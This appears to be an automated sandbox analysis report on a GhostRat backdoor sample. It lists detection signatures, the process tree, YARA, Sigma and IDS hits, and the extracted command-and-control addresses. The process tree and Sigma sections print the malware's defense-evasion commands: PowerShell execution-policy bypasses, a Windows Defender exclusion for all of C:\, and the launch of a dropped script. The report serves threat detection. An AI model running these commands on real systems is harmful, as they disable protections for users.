Edit tour

Windows Analysis Report
leBwnyHIgx.exe

Overview

General Information

Sample name:	leBwnyHIgx.exe renamed because original name is a hash value
Original sample name:	51434b554c4e3b123e0a90db3048ec6d5edaed4cdb245c8f9e3dbddb378f2845.exe
Analysis ID:	1585743
MD5:	2a7776214c4870137fe8aabb231cf52e
SHA1:	3134458ad9ff7a6e76543427794fbcee1d7eda07
SHA256:	51434b554c4e3b123e0a90db3048ec6d5edaed4cdb245c8f9e3dbddb378f2845
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

GhostRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GhostRat

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to capture and log keystrokes

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Loading BitLocker PowerShell Module

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Sleep loop found (likely to delay execution)

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

leBwnyHIgx.exe (PID: 2004 cmdline: "C:\Users\user\Desktop\leBwnyHIgx.exe" MD5: 2A7776214C4870137FE8AABB231CF52E)

cmd.exe (PID: 6540 cmdline: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2032 cmdline: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 2492 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

leBwnyHIgx.exe (PID: 180 cmdline: "C:\Users\user\AppData\Roaming\leBwnyHIgx.exe" MD5: 2A7776214C4870137FE8AABB231CF52E)

cmd.exe (PID: 2180 cmdline: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5684 cmdline: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2664 cmdline: cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5444 cmdline: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 5928 cmdline: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6616 cmdline: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2916 cmdline: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6100 cmdline: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Configuration

Threatname: GhostRat

{"C2 url": ["154.82.85.107:15091", "154.82.85.107:15092"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000003.2572510543.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3807432806.00000000041E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3107343124.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3504281885.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2572570751.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2916173628.00000000041E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3847762945.000000000092F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2231349112.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3992441735.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000002.4134424377.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3282299406.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3107580457.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3847713177.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2956428544.000000000090E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2729342507.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2956631944.0000000003FE1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3635220624.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000002.4135196957.00000000044E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000002.4134301268.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3807432806.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2394511408.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2092467129.00000000008FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3462916069.00000000041E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2916173628.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3787990039.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3462635907.0000000000925000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2394414538.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2107248320.0000000004221000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2231413227.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000002.4134547256.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000002.4135092176.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3148323285.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.2729432226.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3462916069.0000000004251000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3107145495.000000000090E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000005.00000003.3107580457.00000000041E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Process Memory Space: leBwnyHIgx.exe PID: 180	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.leBwnyHIgx.exe.44e05eb.12.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.12.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.37.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.4252c53.9.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.30.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.925ddb.25.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.428486b.10.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.29.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.28.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.31.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.7.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.11.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.24.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.3070000.8.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.2ef05bf.7.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.7.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.2df1053.6.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.32.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.8.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.13.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.23.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.9.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.34.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.28.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.428486b.10.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.13.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.32.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.4511bf3.11.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.36.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.35.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.33.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.2df1053.6.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.21.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.4252c53.9.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.20.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.23.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.14.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.4511bf3.11.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.90edfb.16.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.37.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.925ddb.25.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.2c51004.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.6.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.10.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.90edfb.18.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.35.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.31.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.15.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.20.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.6.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.14.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.29.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.12.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.21.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.24.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.2ef05bf.7.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.19.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.27.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.2c51004.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.33.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.27.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.454380b.13.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.34.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.8fe043.0.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.15.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe10a3.17.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.92fcab.1.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.26.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.92fcab.1.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.22.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.9.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.11.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.8.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.454380b.13.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.22.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.3070000.8.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.3fe80cb.19.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.428486b.26.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.10.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.36.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.3.leBwnyHIgx.exe.4252c53.30.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
5.2.leBwnyHIgx.exe.44e05eb.12.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 79 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\leBwnyHIgx.exe", ParentImage: C:\Users\user\Desktop\leBwnyHIgx.exe, ParentProcessId: 2004, ParentProcessName: leBwnyHIgx.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\leBwnyHIgx.exe", ParentImage: C:\Users\user\Desktop\leBwnyHIgx.exe, ParentProcessId: 2004, ParentProcessName: leBwnyHIgx.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, ProcessId: 2916, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, ProcessId: 6100, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 2032, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 2032, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T07:15:33.044544+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49740	154.82.85.107	15091	TCP
2025-01-08T07:16:43.500651+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49741	154.82.85.107	15091	TCP
2025-01-08T07:17:55.290074+0100	2052875	1	A Network Trojan was detected	192.168.2.4	50009	154.82.85.107	15091	TCP

ET MALWARE UPX compressed file download possible malware

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T07:15:05.390726+0100	2001046	3	Misc activity	47.79.48.230	443	192.168.2.4	49732	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: leBwnyHIgx.exe.180.5.memstrmin

Malware Configuration Extractor: GhostRat {"C2 url": ["154.82.85.107:15091", "154.82.85.107:15092"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: leBwnyHIgx.exe	Virustotal: Detection: 29%			Perma Link
Source: leBwnyHIgx.exe	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Source: leBwnyHIgx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 47.79.48.230:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: leBwnyHIgx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.1806539404.0000000006E55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb source: leBwnyHIgx.exe, leBwnyHIgx.exe, 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000005.00000002.4133424072.0000000000D90000.00000040.00001000.00020000.00000000.sdmp
